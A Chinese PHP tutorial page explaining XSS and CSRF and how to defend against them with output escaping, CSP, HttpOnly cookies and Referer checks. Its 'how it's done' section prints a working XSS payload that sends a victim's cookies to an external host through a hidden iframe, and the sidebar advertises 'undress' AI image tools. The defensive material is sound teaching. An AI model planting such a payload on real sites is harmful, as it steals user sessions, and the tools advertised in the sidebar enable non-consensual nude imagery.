目錄
怎麼做
如何防護
首頁 後端開發 php教程 XSS和CSRF攻擊怎麼防護

XSS和CSRF攻擊怎麼防護

Mar 19, 2018 pm 01:04 PM
csrf 攻擊 防護


XSS:跨站腳本(Cross-site scripting,通常簡稱為XSS)是一種網站應用程式的安全漏洞攻擊,是程式碼注入的一種。它允許惡意用戶將程式碼注入到網頁上,其他用戶在觀看網頁時就會受到影響。這類攻擊通常包含了HTML以及使用者端腳本語言。

CSRF:跨站請求偽造(英文:Cross-site request forgery),也被稱為one-click attack 或session riding,通常縮寫為CSRF 或XSRF, 是一種挾制用戶在目前已登入的Web應用程式上執行非本意的操作的攻擊方法。

簡單理解就是:

XSS: 透過客戶端腳本語言(最常見如:JavaScript)
在一個論壇發文中發布一段惡意的JavaScript程式碼就是腳本注入,如果這個程式碼內容有請求外部伺服器,那麼就叫做XSS!

CSRF:又稱XSRF,冒充用戶發起請求(在用戶不知情的情況下),完成一些違背用戶意願的請求(如惡意發帖,刪帖,改密碼,發郵件等)。

怎麼做

// 用 <script type="text/javascript"></script> 包起来放在评论中
(function(window, document) {
    // 构造泄露信息用的 URL
    var cookies = document.cookie;
    var xssURIBase = "http://********";
    var xssURI = xssURIBase + window.encodeURI(cookies);
    // 建立隐藏 iframe 用于通讯
    var hideFrame = document.createElement("iframe");
    hideFrame.height = 0;
    hideFrame.width = 0;
    hideFrame.style.display = "none";
    hideFrame.src = xssURI;
    // 开工
    document.body.appendChild(hideFrame);
})(window, document);
登入後複製

如何防護

中心思想:一切的一切外部來源數據,都要我們服務端程式碼的過濾,才能讓他展示到頁面上,也就是說,一切外部資料都是非法的,而且一定要做好過濾。

1.盡量使用innerText(IE)和textContent(Firefox),也就是jQuery的text()來輸出文字內容
2.必須要用innerHTML等等函數,則需要做類似php的htmlspecialchars的過濾

3.在輸出html時,加上Content Security Policy的Http Header
(作用:可以防止頁面被XSS攻擊時,嵌入第三方的腳本檔案等)
(缺陷:IE或低版本的瀏覽器可能不支援)
4.在設定Cookie時,加上HttpOnly參數
(作用:可防止頁面被XSS攻擊時,Cookie資訊被盜取,可相容至IE6)
(缺陷:網站本身的JS程式碼也無法操作Cookie,而且作用有限,只能保證Cookie的安全)
5.在開發API時,檢驗請求的Referer參數
(作用:可以在一定程度上防止CSRF攻擊)
(缺陷:IE或低版本的瀏覽器中,Referer參數可以被偽造)

相關建議:

PHP實作防止跨站和xss攻擊實例代碼

#JS寫XSS cookie stealer來竊取密碼方法

XSS及CSRF的詳細介紹

以上是XSS和CSRF攻擊怎麼防護的詳細內容。更多資訊請關注PHP中文網其他相關文章!

本網站聲明
本文內容由網友自願投稿,版權歸原作者所有。本站不承擔相應的法律責任。如發現涉嫌抄襲或侵權的內容,請聯絡admin@php.cn

熱AI工具

Undresser.AI Undress

Undresser.AI Undress

人工智慧驅動的應用程序,用於創建逼真的裸體照片

AI Clothes Remover

AI Clothes Remover

用於從照片中去除衣服的線上人工智慧工具。

Undress AI Tool

Undress AI Tool

免費脫衣圖片

Clothoff.io

Clothoff.io

AI脫衣器

Video Face Swap

Video Face Swap

使用我們完全免費的人工智慧換臉工具,輕鬆在任何影片中換臉!

熱工具

記事本++7.3.1

記事本++7.3.1

好用且免費的程式碼編輯器

SublimeText3漢化版

SublimeText3漢化版

中文版,非常好用

禪工作室 13.0.1

禪工作室 13.0.1

強大的PHP整合開發環境

Dreamweaver CS6

Dreamweaver CS6

視覺化網頁開發工具

SublimeText3 Mac版

SublimeText3 Mac版

神級程式碼編輯軟體(SublimeText3)

Vue開發注意事項:避免常見的安全漏洞和攻擊 Vue開發注意事項:避免常見的安全漏洞和攻擊 Nov 22, 2023 am 09:44 AM

Vue是一種流行的JavaScript框架,廣泛應用於Web開發中。隨著Vue的使用不斷增加,開發人員需要重視安全問題,以避免常見的安全漏洞和攻擊。本文將討論Vue開發中需要注意的安全事項,以幫助開發人員更好地保護他們的應用程式不受攻擊。驗證使用者輸入在Vue開發中,驗證使用者輸入是至關重要的。使用者輸入是最常見的安全漏洞來源之一。在處理使用者輸入時,開發人員應該始

Laravel中的跨站腳本攻擊(XSS)和跨站請求偽造(CSRF)防護 Laravel中的跨站腳本攻擊(XSS)和跨站請求偽造(CSRF)防護 Aug 13, 2023 pm 04:43 PM

Laravel中的跨站腳本攻擊(XSS)和跨站請求偽造(CSRF)防護隨著互聯網的發展,網路安全問題也變得越來越嚴峻。其中,跨站腳本攻擊(Cross-SiteScripting,XSS)和跨站請求偽造(Cross-SiteRequestForgery,CSRF)是最常見的攻擊手段之一。 Laravel作為一款受歡迎的PHP開發框架,為使用者提供了多種安全機

PHP Session 跨域與跨站請求偽造的比較分析 PHP Session 跨域與跨站請求偽造的比較分析 Oct 12, 2023 pm 12:58 PM

PHPSession跨域與跨站請求偽造的對比分析隨著網路的發展,Web應用程式的安全性顯得格外重要。在開發Web應用程式時,PHPSession是一種常用的身份驗證和會話追蹤機制,而跨域請求和跨站請求偽造(CSRF)則是兩種主要的安全威脅。為了保護使用者資料和應用程式的安全性,開發人員需要了解Session跨域和CSRF的區別,並採

PHP 框架安全指南:如何防止 CSRF 攻擊? PHP 框架安全指南:如何防止 CSRF 攻擊? Jun 01, 2024 am 10:36 AM

PHP框架安全指南:如何防止CSRF攻擊?跨站點請求偽造(CSRF)攻擊是一種網路攻擊,其中攻擊者誘騙用戶在受害者的網路應用程式中執行非預期操作。 CSRF如何運作? CSRF攻擊利用了一個事實:大多數Web應用程式允許在同一個網域內不同頁面之間發送請求。攻擊者會建立惡意頁面,該頁面向受害者的應用程式發送請求,觸發未經授權的操作。如何防止CSRF攻擊? 1.使用反CSRF令牌:向每個使用者分配一個唯一的令牌,將其儲存在會話或Cookie中。在應用程式中包含一個隱藏字段,用於提交該令牌

PHP安全防護:防止惡意BOT攻擊 PHP安全防護:防止惡意BOT攻擊 Jun 24, 2023 am 08:19 AM

隨著網路的快速發展,網路攻擊的數量和頻率也不斷增加。其中,惡意BOT攻擊是一種非常常見的網路攻擊方式,它透過利用漏洞或弱密碼等方式,獲取網站後台登入信息,然後在網站上執行惡意操作,如篡改數據、植入廣告等。因此,對於使用PHP語言開發的網站來說,加強安全防護措施,特別是在防止惡意BOT攻擊方面,就顯得非常重要。一、加強口令安全口令安全是防範惡意BOT攻擊的

PHP中的CSRF攻擊 PHP中的CSRF攻擊 May 25, 2023 pm 08:31 PM

隨著網路的不斷發展,網頁應用也越來越多,然而,安全問題也越來越引起人們的關注。 CSRF(CrossSiteRequestForgery,即跨站請求偽造)攻擊就是一種常見的網路安全問題。 CSRF攻擊是什麼?所謂CSRF攻擊,就是攻擊者盜用了使用者的身份,以使用者的名義進行非法操作。通俗的講,就是攻擊者利用使用者的登入態,在使用者毫不知情的情況下,進行一些非法的操

Nginx防範腳本攻擊的最佳方案 Nginx防範腳本攻擊的最佳方案 Jun 10, 2023 pm 10:55 PM

Nginx防範腳本攻擊的最佳方案腳本攻擊是指攻擊者利用腳本程式對目標網站進行攻擊,以實現惡意目的的行為。腳本攻擊的形式多種多樣,如SQL注入、XSS攻擊、CSRF攻擊等等。而在Web伺服器中,Nginx被廣泛應用於反向代理、負載平衡、靜態資源快取等環節,在面對腳本攻擊時,Nginx也可以發揮其優勢,實現有效的防禦。一、Nginx對腳本攻擊的實現方式在Ngin

什麼是跨站點偽造(CSRF),您如何在PHP中實施CSRF保護? 什麼是跨站點偽造(CSRF),您如何在PHP中實施CSRF保護? Apr 07, 2025 am 12:02 AM

在PHP中可以通過使用不可預測的令牌來有效防範CSRF攻擊。具體方法包括:1.生成並在表單中嵌入CSRF令牌;2.在處理請求時驗證令牌的有效性。

See all articles